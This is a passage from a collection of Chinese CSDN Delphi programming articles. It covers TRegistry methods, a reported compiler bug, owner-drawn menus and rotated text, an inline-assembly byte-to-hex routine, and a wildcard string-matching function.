    判断当前键是否有子键，有返回True，否则返回False。

●keyExists方法
Function KeyExists(const Key:string):Boolean;
    判断指定的键是否存在。

●LoadKey方法
Function LoadKey(const Key,fileNmae:string):Boolean;
  在根键下新建
  从一个文件中加载注册信息到子键中，文件注册信息中包含数据值名、子键和数据。
    LoadKey使创建一个键单一化，子键，键值和数据在一人操作中完成，所有这些称为一组，和单独地创建它们不同应用程序可以在一个文件中读取一组数据，这在用户运行中重新设置有特别的用处。
  Key为要创建子键的名子
  FileName：为文件的位置，所指定的文件必须为以前用SaveKey函数或RegSaveKey API函数所建立的，文件名不能包括扩展名。

●OpenKey方法
Function OpenKey(const Key:string;cancreate:Boolean):Boolean;
    使用该函数可以指定一个键作为当前键，如果键为nil，则当前键 将设置为根键。
    Cancreate决定是否在指定键不存在时创建该键，该函数创建的键的键值将不确定。
    如果成功地打开或创建，该函数返回True。

●OpenKeyReadOnly方法
function OpenKeyReadOnly(const Key: String): Boolean;
    以只读的方式打开Key值指定的键。

●CloseKey方法
procedure CloseKey;
   当不再使用一个键时应用该方法关闭该键。

●MoveKey方法
procedure MoveKey(const OldName, NewName: String; Delete: Boolean);
   该方法移动或复制一个键到一个新的位置，并把键的名子改为NewName。
   在Win95/98下该的子键和数据将被一起移动或复制到新的位置，在NT下子键必须用MoveKey明确的移动或自制。

●读取数据的方法
function ReadBinaryData(const Name: String; var Buffer; BufSize: Integer):Integer;
function ReadBool(const Name: String): Boolean;
function ReadCurrency(const Name: String): Currency;
function ReadDate(const Name: String): TDateTime;
function ReadDateTime(const Name: String): TDateTime;
function ReadFloat(const Name: String): Double;
function ReadInteger(const Name: String): Integer;
function ReadString(const Name: String): String;
function ReadTime(const Name: String): TDateTime;
    以上方法从当前主键读取相应数据类型的键值的数据，如果类型不匹配将产生一个异常。

●RegistryConnect方法
function RegistryConnect(const UNCName: String): Boolean;
  与另一台计算机的注册表建立连接，在建立连接前应将Rootkey属性设为HKEY_USERS或HKEY_LOCAL_MACHINE。
  UNCName是另一台计算机的名子。格式如：\\computername
  假如UNCName为nil，将打开本地计算机。


CSDN_文档中心_Delphi的大Bug

Delphi,Update2出来了,赶紧去!

bug:

代码如下:

procedure TForm1.Button1Click(Sender: TObject);
var
strings :TStringList;
begin
if not Assigned(strings) then
begin
strings :=TStringList.Create;
// ShowMessage('sfdasfd');如果加上这样或那样的句子就没有问题,否则,哈哈.
end;
strings.free;
strings := nil;
end;

汇编代码如图:错误图 出现错误

正确图

在错误的结果中,窗口被Free了,所以就没有窗口了.

你还可以写一些类似的代码去验证.好了注意就是了.


CSDN_文档中心_DELPHI的奇异菜单的编写

DELPHI的奇异菜单的编写

翻译者: 李均宇 email: e271828@163.net,okMyDelphi@163.net

Custom Menus, Text, Lines / Delphi 4, 5
自定义菜单,文本,线/ Delphi 4, 5
Fancy Menus, etc.
奇异菜单,等等
Custom Menus, Rotated Text, and Special Lines
自定义菜单,旋转文本,和特殊的线条

Before Delphi 4, it was difficult to customize a menu (add a bitmap, change a font, etc.), because owner drawing (i.e. custom drawing) - although implemented by Windows - was not exposed by the TMainMenu class. Since Delphi 4, however, this situation has been rectified, and we can have our way with menus.
在Delphi 4之前,要想自定义一个菜单是困难的(例如加上一个BMP图像,改变字体等),因为owner drawing事件(也就是custom drawing事件)-虽然是由Windows来执行,但是却并不在TMainMenu class中出现.自从Delphi 4开始后,
这种情况有了改变,我们于是有了可以自定义菜单的功能了.

This article will highlight some techniques you can use to customize the appearance of menus in your Delphi applications. We'll discuss text placement, menu sizing, font assignment, and using bitmaps and shapes to enhance a menu's appearance. Just for fun, this article also features techniques for creating rotated text and custom lines. All of the techniques discussed in this article are demonstrated in projects available for download。
这篇文章将主要着重论述可以用来自定义你的DELPHI应用程序中的菜单的外形的一些技术巧.我们将论述文本的放置，菜单的大小，字体的设置，以及用BMP文件和SHAPE控件来加强菜单的显示效果。仅仅出于娱乐的目的，这篇文章也将对旋转的文本和自定义线条的技巧进行特写。这篇文章所论述到的所有技巧都已在工程文件中通过了调试并且可以到网上下载这些工程文件。
Custom Fonts and Sizes
设置字体和大小
To create a custom menu, set the OwnerDraw property of the menu component -TMainMenu or TPopupMenu - to True, and provide event handlers for its OnDrawItem and OnMeasureItem events. For example, an OnMeasureItem event handler is declared like this:
为了创建一个自定义的菜单，将TmainMenu或TpopupMenu组件的OwnerDraw属性设为TRUE，并且创建它的OnDrawItem和OnMeasureItem的事件过程。例如，一个OnMeasureItem事件过程可以声明如下：

procedure TForm1.Option1MeasureItem(Sender: TObject;
ACanvas: TCanvas; var Width, Height: Integer);

Set the Width and Height variables to adjust the size of the menu item. The OnDrawItem event handler is where all the hard work is done; it's where you draw your menu and make any special settings. To draw the menu option with Times New Roman font, for example, you should do something like this:
设置上面事件过程中的菜单项的Width 和Height变量到合适的大小.所有主要的事情都要由OnDrawItem事件来触发；它是你要重画菜单和作任何特殊设置的地方。举例，为了用Times New Roman字体来重画菜单项，你可以如下面这样做：

procedure TForm1.Times1DrawItem(Sender: TObject;
ACanvas: TCanvas; ARect: TRect; Selected: Boolean);
begin
ACanvas.Font.Name := 'Times New Roman';
ACanvas.TextOut(ARect.Left+1, ARect.Top+1,
(Sender as TMenuItem).Caption);
end;

This code is flawed, however. If it's run, the menu caption will be drawn aligned with the left border of the menu. This isn't default Windows behavior; usually, there's a space to put bitmaps and checkmarks in the menu. Therefore, you should calculate the space needed for this checkmark with code like that shown in Figure 1. Figure 2 shows the resulting menu.
然而这段代码是有缺陷的。如果运行这段代码，菜单项的标题（caption）会在菜单项中靠左对齐.这并不是Windows的默认行为，通常，在菜单左边那儿有一个空间用来放置BMP图像和选择标志的。因此，你应该用代码计算要多少空间来放置这个选择标志的，就象Figure 1中显示的那样。Figure 2显示的是菜单的运行效果。

procedure TForm1.Times2DrawItem(Sender: TObject;
ACanvas: TCanvas; ARect: TRect; Selected: Boolean);
var
dwCheck : Integer;
MenuCaption : string;
begin
// Get the checkmark dimensions.
获取选择标志所需的像素数
dwCheck := GetSystemMetrics(SM_CXMENUCHECK);
// Adjust left position.
调整左边位置
ARect.Left := ARect.Left + LoWord(dwCheck) + 1;
MenuCaption := (Sender as TMenuItem).Caption;
// The font name is the menu caption.

ACanvas.Font.Name := 'Times New Roman';
// Draw the text.
画文本
DrawText(ACanvas.Handle, PChar(MenuCaption),
Length(MenuCaption), ARect, 0);
end;

Figure 1: This OnDrawItem event handler places menu item text correctly.
[译者省略掉所有的FigureS，以下同样]
Figure 2: A menu drawn with custom fonts.

If the text is too large to be drawn in the menu, Windows will cut it to fit. Therefore, you should set the menu item size so all the text can be drawn. This is the role of the OnMeasureItem event handler shown in Figure 3.
如果文本太长，Windows会自动裁剪长度来合适。因此，你应该设置菜单大小使所有的文本都可以显示出来。在OnMeasureItem事件中也应如此，这在Figure 3可以看到。

procedure TForm1.Times2MeasureItem(Sender: TObject;
ACanvas: TCanvas; var Width, Height: Integer);
begin
ACanvas.Font.Name := 'Times New Roman';
ACanvas.Font.Style := [];
// The width is the space of the menu check
这个长度是菜单的选择标志的长度
// plus the width of the item text.
再加上菜单项的长度
Width := GetSystemMetrics(SM_CXMENUCHECK) +
ACanvas.TextWidth((Sender as TMenuItem).Caption) + 2;
Height := ACanvas.TextHeight(
(Sender as TMenuItem).Caption) + 2;
end;

Figure 3: This OnMeasureItem event handler insures that an item fits in its menu.

Custom Shapes and Bitmaps
设置图形和位图
It's also possible to customize menu items by including bitmaps or other shapes. To add a bitmap, simply assign a bitmap file to the TMenuItem.Bitmap property - with the Object Inspector at design time, or with code at run time. To draw colored rectangles as the caption of a menu item, you could use the OnDrawItem event handler shown in Figure 4. Figure 5 shows the result.
用位图和其它图形来设置菜单是可能的事.要想添加一个位图，只需在设计时简单地在Object Inspector中把一个BMP文件赋给TmenuItem的Bitmap属性即可，或者运行时用代码赋值也可以。要想用一个有颜色的矩形来代替菜单标题，你可以使用OnDrawItem事件，例如在Figure 4中显示的那样。在Figure 5中显示的是结果。

procedure TForm1.ColorDrawItem(Sender: TObject;
ACanvas: TCanvas; ARect: TRect; Selected: Boolean);
var
dwCheck : Integer;
MenuColor : TColor;
begin
// Get the checkmark dimensions.
dwCheck := GetSystemMetrics(SM_CXMENUCHECK);
ARect.Left := ARect.Left + LoWord(dwCheck);
// Convert the caption of the menu item to a color.
将菜单项的标题转换为颜色
MenuColor :=
StringToColor((Sender as TMenuItem).Caption);
// Change the canvas brush color.
改变画布canvas的画笔颜色
ACanvas.Brush.Color := MenuColor;
// Draws the rectangle. If the item is selected,
画矩形，如果菜单项是被选择的
// draw a border.
画边框
if Selected then
ACanvas.Pen.Style := psSolid
else
ACanvas.Pen.Style := psClear;
ACanvas.Rectangle(ARect.Left, ARect.Top,
ARect.Right, ARect.Bottom);
end;

Figure 4: Using the OnDrawItem event to draw colored rectangles on menu items.
Figure 5: A menu featuring colored rectangles as items.

There's just one catch. If you're using Delphi 5, you must set the menu's AutoHotkeys property to maManual. If you leave it as the default, maAutomatic, Delphi will add an ampersand character (&) to the caption, which will break this code. Another solution is to remove the ampersand with the StripHotKey function.
比较流行的做法是，如果你用的是Delphi 5，你应设置菜单的AutoHotkeys属性为maManual。如果你不这样做，而让缺省值maAutomatic留着，Delphi会自动添加一个&号给标题，这将破坏这些代码。另一个解决办法是用StripHotKey函数来移去&号。
Another way to use the OnDrawItem and OnMeasureItem events is to write text vertically on a menu (as shown in Figure 7). To do this, you must create a rotated font. This is only possible using the Windows API function CreateFont or CreateLogFont (see the "Rotated Text" tip later in this article). Then you must draw it in the OnDrawItem event handler. This event is fired every time a menu item is drawn, so if a menu has 20 items, it will be drawn 20 times. To make it faster, the vertical text will be drawn only when the menu item is selected (since there's is only one menu item selected at a time). Figure 6 shows how this is implemented with code, and Figure 7 shows the run-time result.
OnDrawItem和OnMeasureItem事件的另一个用途是用来在菜单侧旁写垂直的文字（例如在Figure 7显示的那样）。为了做到这样，你必须创建一个旋转的字体。唯一办法是用Windows API的CreateFont或者CreateLogFont函数（稍后看本文中的“旋转的文字”技巧）。于是你必须在OnDrawItem事件中重画它。这个事件在菜单项被拉出时执行，所以如果一个菜单有20项，那么它将被执行20次。为了使它快些，这垂直的文字可以在菜单项被选择时才重画一次（虽然每次只有一个菜单项被选择）。Figure 6显示的是代码如何执行，而Figure 7显示的是运行结果。

procedure TForm1.VerticalDrawItem(Sender: TObject;
ACanvas: TCanvas; ARect: TRect; Selected: Boolean);
var
lf : TLogFont;
OldFont : HFont;
clFore, clBack : LongInt;
Rectang : TRect;
dwCheck : LongInt;
MenuHeight : Integer;
begin
dwCheck := GetSystemMetrics(SM_CXMENUCHECK);
// This will be done once, when the item is selected.
当菜单项被选中时，这将被执行
if Selected then begin
// Create a rotated font.
创建一个旋转的字体
FillChar(lf, SizeOf(lf), 0);
lf.lfHeight := -14;
lf.lfEscapement := 900;
lf.lfOrientation := 900;
lf.lfWeight := Fw_Bold;
StrPCopy(lf.lfFaceName, 'Arial');
// Select this font to draw.
选取这个字体来画
OldFont := SelectObject(ACanvas.Handle,
CreateFontIndirect(lf));
// Change foreground and background colors.
改变前景色和背景色
clFore := SetTextColor(ACanvas.Handle, clSilver);
clBack := SetBkColor(ACanvas.Handle, clBlack);
// Get the menu height.
获取菜单高度
MenuHeight := (ARect.Bottom-ARect.Top) *
((Sender as TMenuItem).Parent as TMenuItem).Count;
Rectang := Rect(-1, 0, dwCheck-1, MenuHeight);
// Draw the text.
画文本
ExtTextOut(ACanvas.Handle, -1, MenuHeight, Eto_Clipped,
@Rectang, 'Made in Borland', 15, nil);
// Returns to the original state.
返回到最初状态
DeleteObject(SelectObject(ACanvas.Handle, OldFont));
SetTextColor(ACanvas.Handle, clFore);
SetBkColor(ACanvas.Handle, clBack);
end;
// Draw the real menu text.
画真实的菜单项文本
ARect.Left := ARect.Left + LoWord(dwCheck) + 2;
DrawText(ACanvas.Handle,
PChar((Sender as TMenuItem).Caption),
Length((Sender as TMenuItem).Caption), ARect, 0);
end;

Figure 6: Using OnDrawItem to draw vertical text on a menu.
Figure 7: Menu with vertical text.

One tricky detail is knowing where to begin drawing the text. It should begin at the bottom of the last item on the menu. To get its position, we get the height of the menu item, using:
从哪儿开始画文本是应该知道的。它应该在菜单的最后一项的底部开始。为了得到这个位置，我们如下这样要获取菜单项的高度：
ARect.Top - ARect.Bottom
and multiply it by the number of items in the menu:
并且乘上菜单项的数目：
(((Sender as TMenuItem).Parent as TMenuItem).Count)

Rotated Text
旋转的文本
The Windows API allows you to draw text at any angle. To do this in Delphi, you must use the API function CreateFont or CreateFontIndirect. CreateFont is declared as shown in Figure 8.
Windows API可以让你用任何角度来画文本。为了在Delphi中做到这点，你必须用到CreateFont或者CreateFontIndirect这两个API函数。Figure 8显示了如何声明CreateFont。
function CreateFont(
nHeight, // Logical height of font. 字体的逻辑高度
nWidth, // Logical average character width. 字符的逻辑平均宽度
nEscapement, // Angle of escapement. 旋转的角度
nOrientation, // Base-line orientation angle. 底线的定位角度
fnWeight: Integer; // Font weight. 字体的weight子属性
fdwItalic, // Italic attribute flag. 是否斜体
fdwUnderline, // Underline attribute flag. 是否下划线
fdwStrikeOut, // Strikeout attribute flag. 是否Strikeout属性
fdwCharSet // Character set identifier. 字符集
fdwOutputPrecision, // Output precision.
fdwClipPrecision, // Clipping precision.
fdwQuality, // Output quality.
fdwPitchAndFamily: DWORD; // Pitch and family.
lpszFace: PChar // Pointer to typeface name string.
): HFONT; stdcall;

Figure 8: The Object Pascal declaration for the CreateFont Windows API function.

While this function has many parameters, you will usually want only to change one or two attributes of the text. In such cases, you should use the CreateFontIndirect function instead. It takes only one argument - a record of type TLogFont, as shown in Figure 9.
虽然这函数有很多参数,但你通常只须改变文本的一个或两个属性。在这种情形下，你将使用CreateFontIndirect函数来代替。它只须一个参数----一个TlogFont的记录类型的参数，在Figure 9可以看到。

tagLOGFONTA = packed record
lfHeight: Longint;
lfWidth: Longint;
lfEscapement: Longint;
lfOrientation: Longint;
lfWeight: Longint;
lfItalic: Byte;
lfUnderline: Byte;
lfStrikeOut: Byte;
lfCharSet: Byte;
lfOutPrecision: Byte;
lfClipPrecision: Byte;
lfQuality: Byte;
lfPitchAndFamily: Byte;
lfFaceName: array[0..LF_FACESIZE - 1] of AnsiChar;
end;
TLogFontA = tagLOGFONTA;
TLogFont = TLogFontA;
Figure 9: The TLogFont record.

Looking at this record, you'll notice its members match the parameters for the CreateFont function. The advantage of using this function/record combination is that you can fill the record's members with a known font using the GetObject API function, change the members you want, and create the new font.
仔细看下这个记录类型，你会发现它的成员与CreateFont函数的参数十分相似。使用这个函数/记录 的联合体的好处是，你可以用GetObject这个API函数来将一个已知的字体来填满这个记录的成员值，然后改变你想改变的成员值来产生一个新字体。

To draw rotated text, the only member you must change is lfEscapement, which sets the text angle in tenths of degrees. So, if you want text drawn at 45 degrees, you must set lfEscapement to 450.
为了画出旋转的文字，你仅仅只须改变的成员值是lfEscapement，它可以用十分之一度的单位来设置字体的角度。所以，如果你想字符旋转45度，你必须设置
lfEscapement为450。
Notice that there are flags to draw italic, underline, and strikeout text, but there is no flag to draw bold text. This is done with the lfWeight member, a number between 0 and 1000. 400 is normal text, values above this draw bold text, and values below it draw light text.
注意到这里有不少标记来选取斜体，下划线，凸出文字，但是却没有标记来画粗体。这是因为用lfWeight成员来代替了，这个成员的数值介于0与1000之间。400是正常值，高于这个值的是粗体，低于这个值的是细体。

The code in Figure 10 draws text at angles ranging from 0 degrees to 360 degrees, at 20-degree intervals. It's the form's OnPaint event handler, so the text is redrawn each time the form is painted. Figure 11 shows the result.
Figure 10中的代码从0度到360度每隔20度就画一次字符。这是在窗体的OnPaint事件中触发的，所以文字在窗体每次描绘时重画。在Figure 11可以看到效果。

procedure TForm1.FormPaint(Sender: TObject);
var
OldFont, NewFont : hFont;
LogFont : TLogFont;
i : Integer;
begin
// Get handle of canvas font.
获取窗体字体对象的句柄
OldFont := Canvas.Font.Handle;
i := 0;
// Transparent drawing.
设置透明属性
SetBkMode(Canvas.Handle, Transparent);
// Fill LogFont structure with information
用信息填写LogFont结构
// from current font.
从当前字体
GetObject(OldFont, Sizeof(LogFont), @LogFont);
// Angles range from 0 to 360.
从0到360度
while i < 3600 do begin
// Set escapement to new angle.
设置文字方向到新的角度
LogFont.lfEscapement := i;
// Create new font.
创建新字体
NewFont := CreateFontIndirect(LogFont);
// Select the font to draw.
选取字体来输出
SelectObject(Canvas.Handle, NewFont);
// Draw text at the middle of the form.
在窗体中间输出文字
TextOut(Canvas.Handle, ClientWidth div 2,
ClientHeight div 2, 'Rotated Text', 21);
// Clean up.
清空
DeleteObject(SelectObject(Canvas.Handle, OldFont));
// Increment angle by 20 degrees.
每隔20度递增
Inc(i, 200);
end;
end;

Figure 10: Code to draw text rotated in 20-degree intervals.
Figure 11: Text rotated 360 degrees.

The form's font is set to Arial, a TrueType font. This code works only with TrueType fonts; other kinds of fonts don't support text rotation. To get current font settings and fill the TLogFont structure, you must use the GetObject API function. The code in Figure 12 shows how to fill and display the TLogFont settings for the form's font.
这个窗体的字体设置成Arial，一种TrueType字体。这段代码仅仅在TrueType字体下才能运行；其它字体不支持文字旋转。为了获取当前字体设置和填写TlogFont结构体，你必须用到GetObject这个API函数。在Figure 12中的代码中可以看到如何填写和显示窗体中TlogFont的设置。

procedure TForm1.Info1Click(Sender: TObject);
var
LogFont : TLogFont;
begin
// Fill LogFont structure with information
填写LogFont结构体的成员值
// from current font.
从当前字体
GetObject(Canvas.Font.Handle, Sizeof(LogFont), @LogFont);
// Display font information.
显示字体信息
with LogFont do ShowMessage(
'lfHeight: ' + IntToStr(lfHeight) + #13 +
'lfWidth: ' + IntToStr(lfWidth) + #13 +
'lfEscapement: '+IntToStr(lfEscapement) + #13 +
'lfOrientation: ' + IntToStr(lfOrientation) + #13 +
'lfWeight: ' + IntToStr(lfWeight) + #13 +
'lfItalic: ' + IntToStr(lfItalic) + #13 +
'lfUnderline: ' + IntToStr(lfUnderline) + #13 +
'lfStrikeOut: ' + IntToStr(lfStrikeOut) + #13 +
'lfCharSet: ' + IntToStr(lfCharSet) + #13 +
'lfOutPrecision: ' + IntToStr(lfOutPrecision) + #13 +
'lfClipPrecision: ' + IntToStr(lfClipPrecision) + #13 +
'lfQuality: ' + IntToStr(lfQuality) + #13 +
'lfPitchAndFamily: '+IntToStr(lfPitchAndFamily) + #13 +
'lfFaceName: ' + string(lfFaceName));
end;

Figure 12: Getting and displaying font attributes.

Once you have the settings in a TLogFont structure, the only change left is to set lfEscapement to the desired angle and create a new font with CreateFontIndirect. Before using this new font, it must be selected with SelectObject. Another way is to assign the handle of this new font to the handle of the canvas's font, before drawing the text. After drawing the text, this work must be reversed; the old font must be selected, and the new font deleted. If the new font isn't deleted, there will be a memory leak, and - if the routine is executed many times - Windows (especially 95/98) will run out of resources, and crash.
一旦你已设置好了TlogFont结构体，剩下唯一要做的事是改变lfEscapement的值为目的值并且用CreateFontIndirect来产生一个新字体。在使用这个新字体之前，必须用SelectObject来选择它。另一种方法是在描绘文字之前用这个新字体对象的句柄赋给窗体的canvas的字体对象的句柄。在描绘完文字后，这个过程要巅倒；旧字体必须被选中，新字体被删除。如果新字体没有被删除，会造成内存泄漏，并且-----如果程序被执行多次------ Windows (尤其是 95/98)会耗尽资源，并且
死机。
Stylish Lines
流行的线条
When you draw lines, the individual pixels usually don't matter; you simply set the line style, and it's drawn by Windows. Sometimes however, you need to do something special and draw a line style not provided by Windows. This can be done using a Windows API function named LineDDA, defined in Figure 13.
当你描绘线条时，单独的象素通常是不重要的；你只须简单地设置线条的类型，它将交给Windows来描绘。然而有时你想要做一些特殊的并且Windows没有提供的线条类型。这可以用一个名叫LineDDA的API函数来实现，在Figure 13中可以看到它的定义。

function LineDDA(
nXStart, // x-coordinate of line's starting point.
X坐标起点
nYStart, // y-coordinate of line's starting point.
Y坐标起点
nXEnd, // x-coordinate of line's ending point.
X坐标终点
YEnd : Integer; // y-coordinate of line's ending point.
Y坐标终点
// Address of application-defined callback function.
应用程序定义的回调函数的地址
lpLineFunc : TFNLineDDAProc;
lpData : LPARAM // Address of application-defined data.
应用程序定义的数据的地址
): BOOL; stdcall;

Figure 13: Object Pascal declaration for the Windows API function, LineDDA.

The first four parameters are the starting and ending points of the line. The fifth parameter is a callback function that will be called every time a pixel should be drawn. You put your drawing routines there. The last parameter is a user parameter that will be passed to the callback function. You can pass any Integer or pointer to the function, because it is an LParam (in Win32, it is translated to a Longint). The callback function must take the form shown here:
这开始的四个参数是线条的开始和结束点。第五个参数是一个回调函数，每次像素被描绘时都将被调用到。你可以将你的描绘过程写在这里。最后一个参数是用户定义的可以传给回调函数。你可以传递任何整数或指针给这个函数，因为它是
一个Lparam型（在WIN32，它是被解释成Longint型）。这个回调函数必须使用象如下的形式：
procedure CallBackDDA(x, y: Integer;
UserParam: LParam); stdcall;

where x and y are the coordinates of the drawn point, and UserParam is a parameter that is passed to the function. This function must be declared as stdcall. The routine in Figure 14 draws a line of bitmaps, and Figure 15 shows the result.
这里X和Y都是被描绘的坐标点，而UserParam是一个参数。这个函数必须被子定义为stdcall。Figure 14中的程序描绘了一个BMP线条，而Figure 15则显示结果。

type
TForm1 = class(TForm)
ImageList1: TImageList;
procedure FormPaint(Sender: TObject);
procedure FormResize(Sender: TObject);
end;
var
Form1: TForm1;
procedure CallDDA(x, y: Integer; Form: TForm1); stdcall;
implementation
{ $R *.DFM }
procedure CallDDA(x, y: Integer; Form: TForm1);
begin
if x mod 13 = 0 then
Form.ImageList1.Draw(Form.Canvas, x, y, 0);
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
LineDDA(0, 0, ClientWidth, ClientHeight,
@CallDDA, Integer(Self));
end;
procedure TForm1.FormResize(Sender: TObject);
begin
Invalidate;
end;
Figure 14: Code to draw a line of bitmaps.
Figure 15: Window with a custom line.

This routine handles the form's OnPaint event, calling LineDDA, so every time the form must be painted, it redraws the line. Another event that is handled is OnResize, which invalidates the form client area, so the line must be redrawn when someone changes its size. The LineDDA callback function, CallDDA, is very simple. At every 13th point it is called, it draws the bitmap stored in the ImageList. As you may notice, Self is passed as the last parameter to the callback function, so it can access the instance data.
这个程序处理窗体的OnPaint事件，调用LineDDA，所以每次窗体被描绘时，它将重画这条线。另一个事件是OnResize，它使窗体的客户区无效，所以当有人改变它的大小时线条亦将重画。LineDDA回调函数，CallDDA都是非常简单的。每当被调用了13次后，它将描绘存贮在ImageList中的位图。也许你注意到，SELF被作为最后一个参数传递给回调函数，所以它可以存取程序的数据。

Conclusion
结论
Since owner drawing was exposed on TMainMenu in Delphi 4, there have been many ways to augment your menus. Using the techniques we've discussed here, you can easily enhance your Delphi application's menus with custom text, bitmaps, and colors.
既然owner drawing在Delphi 4的TmainMenu中已出现了，它就可以有很多方法来扩展你的菜单功能。使用我们在上面讨论过的技巧，你能够轻易地用自定义文字，位图，和颜色来加强你的DELPHI应用程序的菜单功能。


CSDN_文档中心_Delphi的嵌入式asm一例: Byte快速转换为16进制字符串

    上次Delphi做的asm内嵌过程／函数格式是：
procedure ProcName(...);
asm
...
end;
    对这种过程／函数，整个由asm写成。内嵌asm还有一种常见用法，
就是在程序局部调用asm：
function ByteToHex(Src: Byte): String;
begin
SetLength(Result, 2);
asm
MOV EDI, [Result]
MOV EDI, [EDI]
MOV AL, Src
MOV AH, AL // Save to AH
SHR AL, 4 // Output High 4 Bits
ADD AL, '0'
CMP AL, '9'
JBE @@OutCharLo
ADD AL, 'A'-'9'-1
@@OutCharLo:
AND AH, $f
ADD AH, '0'
CMP AH, '9'
JBE @@OutChar
ADD AH, 'A'-'9'-1
@@OutChar:
STOSW
end;
end;
    该子程序可以实现把一字节的Src转换为16进制形式的字符串。刚好
一位站友有这样的问题，够快了吧？ :)
当然，最快的方法还不是这个，想更快吗？拉拉滚动条，看下面：

用查表法！512个字节的表，速度最快！ :)


CSDN_文档中心_DELPHI的通配符比较（第五版）

DELPHI的通配符比较（第五版）
作者:李均宇
email: e271828@163.net 2003.1.5

我以前以为DELPHI中没有通配符的现成函数，后来找到了MatchesMask（）。以前在未找到这个函数时我曾经在处于自由状态下尚有心情时便自已动手来作一个自定义的函数来实现这个功能。
程序的算法较复杂,先在子串的末尾加上‘？*’，再读取子串,查找子串中的通配符之间的字符,亦即子串中的子串,然后在源串中依次查找是否含有子串中的子串,不过实现起来还是费不少周折。这个函数实现了以下功能：
1。可能大多数情形下比递归算法和MatchesMask（）速度高些；
2。实现了对星号和问号的所有情况下的正确比较；//这点也许仍需时间验证
3。支持中文；//星号和问号要在英文下的才有效
4。支持大小写敏感的选择。

注意子串的开头和末尾加不加上星号是有区别的。这个算法与用递归算法实现的函数在用栈上可能相似，但实际上是有一些不同的，对递归作了一些改进而成，可能在大多数情形下比递归过程要快一些，快多少难定。至少有这样的估计：当通配符比较仅仅作为查找子串用时，如源串为“1111111111”子串为“*11111112*”时，使用递归算法的时间复杂度是O(N*M),但我写的这个函数这时将简化成大约调用几次POS（）函数的时间复杂度，也许可以将DELPHI中的POS（）想象成"克努特--莫里斯---普拉特(KMP)算法"下的O(N+M)。少量下与递归算法的速度比较不明显。当源串为连续100个1,子串为连续99个1最后加上字符2下，通过在一个1000次的循环中测试，比递归算法要快几秒，比MatchesMask（）函数快了二十几秒。我实际多次测试表明三者都有时成为最快，但是MatchesMask（）似乎多些时候是比较慢，而递归的快慢变化较大，我写的函数可能在速度上比较平均。只不过我写的函数仅供参考用，出了问题我可是不任何负责的噢。
function isABClikeAX(const abc,ax:widestring):boolean; file://abc是源串，ax是子串
var
abcstart,axstart,abclength,axlength:integer;
endpartabc,endpartax,subax:widestring;
temp,abcwww,axwww:integer;
begin file://aaa
temp:=0;
abcstart:=1;
axstart:=1;
axwww:=1;
abcwww:=1;
abclength:=length(abc);
axlength:=length(ax);
isabclikeax:=true;
while axstart<=axlength do//源串长度大于或等于子串时
begin//bbb
if abcstart> abclength then
begin
if (ax[axlength]='*') and (axlength=axstart) then isabclikeax:=true
else isabclikeax:=false;//子串长过源串时
break;
end;
if ax[axstart]='?' then
begin
inc(axstart);
inc(abcstart);
continue;
end;
if ax[axstart]='*' then
begin
inc(axstart);
temp:=1;
axwww:=axstart;
abcwww:=abcstart;
continue;
end;
if not((ax[axstart]='?') or (ax[axstart]='*') ) then
begin//ccc
endpartax:=copy(ax,axstart,axlength-axstart+1)+'?*';
subax:=copy(endpartax,1,min(pos('?',endpartax),pos('*',endpartax))-1);
axstart:=axstart+min(pos('?',endpartax),pos('*',endpartax))-1;
endpartabc:=copy(abc,abcstart,abclength-abcstart+1);
if ((pos(subax,endpartabc)<>0) and (temp=1 )) or ((pos(subax,endpartabc)=1) and (temp=0)) then
begin//ddd
if temp=1 then temp:=0;
abcstart:=abcstart+(pos(subax,endpartabc)+length(subax)-1) ;
end//ddd
else//ddd
begin//ddd
if (temp=0) and (axwww>1) then
begin
axstart:=axwww;
abcwww:=abcwww+1;
abcstart:=abcwww;
temp:=1;
continue;
end;
isabclikeax:=false;
break;
end;//ddd
end;//ccc
end;//bbb
if (result) and (abcstart<=abclength) and (ax[axlength]<>'*') then isabclikeax:=false;//源串长过子串时
end;//aaa
FUNCTION IsLike(abc,ax:string):boolean; file://大小写敏感的函数
begin
islike:=isABClikeAX(abc,ax);
end;
FUNCTION WideCard(abc,ax:string):boolean; file://大小写不敏感的函数
begin
abc:=uppercase(abc);
ax:=uppercase(ax);
widecard:=isABClikeAX(abc,ax);
end;

注意USES MATH,因为用到MIN(),也可以用IF语句来代替MIN(),但不够明白。

多谢一些网友给我提出的一些正确的见解,使得修改有了正确的方向。


CSDN_文档中心_DELPHI的通配符比较

DELPHI的通配符比较

作者:李均宇 email: e271828@163.net或者MSSQLserver2000@163.com或者OKMYdelphi@163.net

DELPHI的功能比VB强是公认的,但在一些小事小节上却有时比不上VB方便,例如VB中有SENDKEY()可以很方便地模拟键盘按键,但在DELPHI中就比较繁些.又如VB中有LIKE来轻易实现通配符的比较,但在DELPHI中却找不到,为此在处于自由状态下的我尚有心情时便自已动手来作一个自定义的函数来实现这个功能,以防应急时无心情再作这种小程序.这种小程序束之高阁无用,不如拿出来让它发出几分光和热.
程序的算法先在子串的末尾加上‘？*’，再读取子串,查找子串中的通配符之间的字符,亦即子串中的子串,然后在源串中依次查找是否含有子串中的子串,不过实现起来还是十分费些周折.
function isABClikeAX(abc,ax:string):boolean; //abc是源串，ax是子串
var
abcstart,axstart,abclength,axlength:integer;
endpartabc,endpartax,subax:string;
temp,abcwww,axwww:integer;
begin //aaa
temp:=0;
abcstart:=1;
axstart:=1;
axwww:=1;
abcwww:=1;
abclength:=length(abc);
axlength:=length(ax);
isabclikeax:=true;
while axstart<=axlength do
begin//bbb
if ax[axstart]='?' then
begin
inc(axstart);
inc(abcstart);
if abcstart> abclength then
begin
isabclikeax:=false;
break;
end;
continue;
end;
if ax[axstart]='*' then
begin
inc(axstart);
temp:=1;
axwww:=axstart;
abcwww:=abcstart;
continue;
end;
if not(ax[axstart] in ['?','*'] ) then
begin//ccc
endpartax:=copy(ax,axstart,axlength-axstart+1)+'?*';

subax:=copy(endpartax,1,min(pos('?',endpartax),pos('*',endpartax))-1);
axstart:=axstart+min(pos('?',endpartax),pos('*',endpartax))-1;
endpartabc:=copy(abc,abcstart,abclength-abcstart+1);
if ((pos(subax,endpartabc)<>0) and (temp=1 )) or ((pos(subax,endpartabc)=1) and (temp=0)) then
begin //ddd
if temp=1 then temp:=0;
abcstart:=abcstart+(pos(subax,endpartabc)+length(subax)-1) ;
// axstart:=axstart+min(pos('?',endpartax),pos('*',endpartax))-1;
end //ddd
else //ddd
begin //ddd
if temp=0 then
begin
axstart:=axwww;
abcwww:=abcwww+1;
abcstart:=abcwww;
temp:=1;
